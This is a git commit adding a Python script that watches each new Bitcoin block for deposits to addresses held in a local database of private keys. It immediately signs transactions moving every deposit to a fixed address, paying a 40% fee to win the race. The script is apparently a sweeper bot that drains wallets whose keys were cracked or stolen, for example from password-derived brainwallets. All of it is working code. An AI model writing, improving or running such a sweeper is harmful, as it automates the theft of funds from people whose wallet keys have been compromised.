initial commit

This commit is contained in:
hannes 2026-05-06 13:36:42 +00:00
commit 45828e675f

104
main.py Normal file
View file

@ -0,0 +1,104 @@
#!pip install bitcoin
!pip install cryptos
from cryptos import *
#from bitcoin import *
import requests, json, sqlite3, time
c = Bitcoin(testnet=False)
#########################################################################
# Alle Wallets aus der DB Laden und in ein set umwandeln
#########################################################################
conn = sqlite3.connect('datenbank.db')
cursor = conn.cursor()
select_query = "SELECT id, pw, priv, pub, addr FROM buche"
cursor.execute(select_query)
results = cursor.fetchall()
conn.commit()
conn.close()
print(len(results))
seta = set()
for i in results:
seta.add(i[4])
print(len(seta))
#########################################################################
# Transaktion erstellen
#########################################################################
def maketx(wallet, fee=0):
inputs = json.loads(requests.get("http://192.168.178.225:5001/api/guthaben/" + wallet["addr"]).text)
inputs = inputs["utxos"]
value = 0
for i in inputs:
value += i["value"]
i["address"]=wallet["addr"]
fee = int(value * 0.4)
outs = [{'value': value-fee, 'address': "1KHzkdXjQiUEiME1w7UKfdTmZGSeVVBGEJ"}]
# outs = [{'value': value-225, 'address': "19yXEybUuNgKAreD23mCseKJ3iL8PhQazf"}]
print(inputs)
tx = c.mktx(inputs,outs)
tx2 = c.signall(tx, wallet["priv"])
tx3 = serialize(tx2)
response = requests.post(
"http://192.168.178.225:5001/api/sendtx",
json={"hex": tx3}
)
print(response.json())
#########################################################################
# Wallet Daten laden
#########################################################################
def getwallet(addr):
conn = sqlite3.connect('datenbank.db')
cursor = conn.cursor()
sql = "SELECT * FROM buche WHERE addr = ?;"
cursor.execute(sql, (addr,))
# 4. Alle Ergebnisse abrufen
ergebnisse = cursor.fetchall()
conn.close()
wallet = {"pw":ergebnisse[0][1],"priv":ergebnisse[0][2],"pub":ergebnisse[0][3],"addr":ergebnisse[0][4]}
return wallet
#########################################################################
# Neue Blocks auf Transaktionen prüfen
#########################################################################
last_block = 0
while True:
current_block = json.loads(requests.get("http://192.168.178.225:5001/api/blockhoehe").text)["blockhoehe"]
if not last_block == current_block:
setb = set()
last_block = current_block
print(f"neuer Block {str(current_block)}")
block = json.loads(requests.get("http://192.168.178.225:5001/api/block/" + str(current_block)).text)
for tx in block["block"]["tx"]:
for out in tx["vout"]:
try:
setb.add(out["scriptPubKey"]["address"])
except:
pass
setc = seta & setb
if len(setc)>0:
for w in setc:
print(w)
if not w == "1EGk65oe8au7VUkvf3qapFKvE9LJzMW6go":
maketx(getwallet(w))
else:
pass
time.sleep(0.5)